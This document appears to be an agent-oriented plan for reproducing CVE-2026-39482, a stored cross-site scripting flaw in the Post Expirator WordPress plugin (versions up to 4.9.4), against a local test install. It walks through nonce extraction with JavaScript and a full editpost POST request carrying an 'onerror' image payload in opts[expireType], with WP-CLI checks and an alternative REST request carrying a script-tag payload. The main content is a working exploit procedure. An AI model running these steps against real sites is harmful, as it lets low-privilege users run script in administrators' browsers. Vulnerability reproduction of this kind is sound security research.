Post Expirator <= 4.9.4 - Authenticated (Contributor+) Stored Cross-Site Scripting

This plan outlines the research and execution steps for a Proof-of-Concept (PoC) exploit for CVE-2026-39482, an authenticated Stored Cross-Site Scripting (XSS) vulnerability in the Post Expirator (PublishPress Future) plugin.

---

1. Vulnerability Summary

The Post Expirator plugin (slug: post-expirator) allows users to schedule actions for posts (e.g., delete, trash, change categories). In versions up to and including 4.9.4, the plugin fails to sanitize or escape the "Action Type" (or expireType) when rendering it in the Future Actions admin list. A Contributor-level user can inject a malicious script into the post metadata responsible for defining the future action. This script executes in the context of any user (typically an Admin) who views the "Future Actions" dashboard.

2. Attack Vector Analysis

• Endpoint: wp-admin/post.php (Standard WordPress post update endpoint)
• Vulnerable Hook: The save_post or dedicated metadata saving routine of the plugin.
• Vulnerable Parameter: opts[expireType] or publishpress_future_action_type (injected via post metadata).
• Authentication: Authenticated user with Contributor role or higher.
• Precondition: The plugin must be active, and the Contributor must be able to configure a "Future Action" for their post.

3. Code Flow (Inferred from Patch & Plugin Structure)

1. Entry Point: A Contributor saves a draft post. The request includes parameters for the "PublishPress Future" sidebar.
2. Data Storage: The plugin processes the POST data and updates post metadata, specifically the _expiration-date-options meta key (which contains a serialized array including the expireType).
3. Data Retrieval: An Administrator navigates to the Future Actions dashboard (wp-admin/admin.php?page=publishpress-future-scheduled-actions).
4. Sink: The plugin retrieves the scheduled events from the database (likely using ActionScheduler or a custom table) and renders the list. The "Action" column (referenced by .pe-event-column in settings.css) outputs the expireType value directly to the browser without using esc_html().

4. Nonce Acquisition Strategy

To save post metadata, a _wpnonce is required for the editpost action.

1. Identify Trigger: The metadata is saved during the post-saving process in the Gutenberg or Classic editor.
2. Creation of Page: Create a post to obtain a valid ID and nonce.
   • wp post create --post_type=post --post_status=draft --post_author=CONTRIBUTOR_ID --post_title="XSS Test"
3. Extraction: Navigate to the edit page for that post.
   • browser_navigate("http://localhost:8080/wp-admin/post.php?post=POST_ID&action=edit")
4. JS Execution: Use browser_eval to extract the required nonce:
   • const wp_nonce = document.querySelector('#_wpnonce')?.value;
   • (Optional) If the plugin uses a specific meta box nonce: const pe_nonce = document.querySelector('#post_expirator_meta_box_nonce')?.value;

5. Exploitation Strategy

The goal is to submit a POST request to post.php that updates the post's expiration options with a malicious expireType.

Step 1: Setup a Contributor user.
Step 2: Authenticate and obtain the Post ID and Nonce.
Step 3: Submit the payload via the editpost action.

• URL: http://localhost:8080/wp-admin/post.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: editpost
  • post_ID: [POST_ID]
  • _wpnonce: [NONCE]
  • expirationdate_enabled: true
  • expirationdate_month: 01
  • expirationdate_day: 01
  • expirationdate_year: 2030 (A future date)
  • expirationdate_hour: 00
  • expirationdate_minute: 00
  • opts[expireType]: <img src=x onerror=alert("CVE-2026-39482")>
  • opts[id]: [POST_ID]

Step 4: Trigger the Execution.
Login as an Administrator and navigate to the plugin's action list:

• URL: http://localhost:8080/wp-admin/admin.php?page=publishpress-future-scheduled-actions

6. Test Data Setup

1. User: A user with the contributor role.
2. Post: A draft post owned by the contributor.
3. Plugin Config: Ensure "Future Actions" are enabled for the post type in Future -> Settings.

7. Expected Results

• Upon visiting the Future Actions page as an Admin, an alert box with "CVE-2026-39482" should appear.
• The HTML source of the page should contain the unescaped <img> tag within the table cell for that post's action.

8. Verification Steps (WP-CLI)

Confirm the payload is stored in the database:

wp post meta get [POST_ID] _expiration-date-options

Expected Output: A serialized string containing s:10:"expireType";s:42:"<img src=x onerror=alert("CVE-2026-39482")>";

Confirm the action is scheduled:

wp action-scheduler last-scheduled --group=publishpress-future

9. Alternative Approaches

If opts[expireType] is not the correct key for the version installed, try:

1. Direct Meta Update (if allowed by plugin logic): Injecting into _expiration-date-category if the action is set to "Category Add".
2. Gutenberg REST API:
   • Endpoint: PUT /wp-json/wp/v2/posts/[POST_ID]
   • Header: X-WP-Nonce: [REST_NONCE]
   • Body:

     {
       "publishpress_future_action": {
         "enabled": true,
         "type": "<script>alert(1)</script>",
         "date": 1893456000
       }
     }
     

   • The REST nonce can be obtained via browser_eval("wpApiSettings.nonce").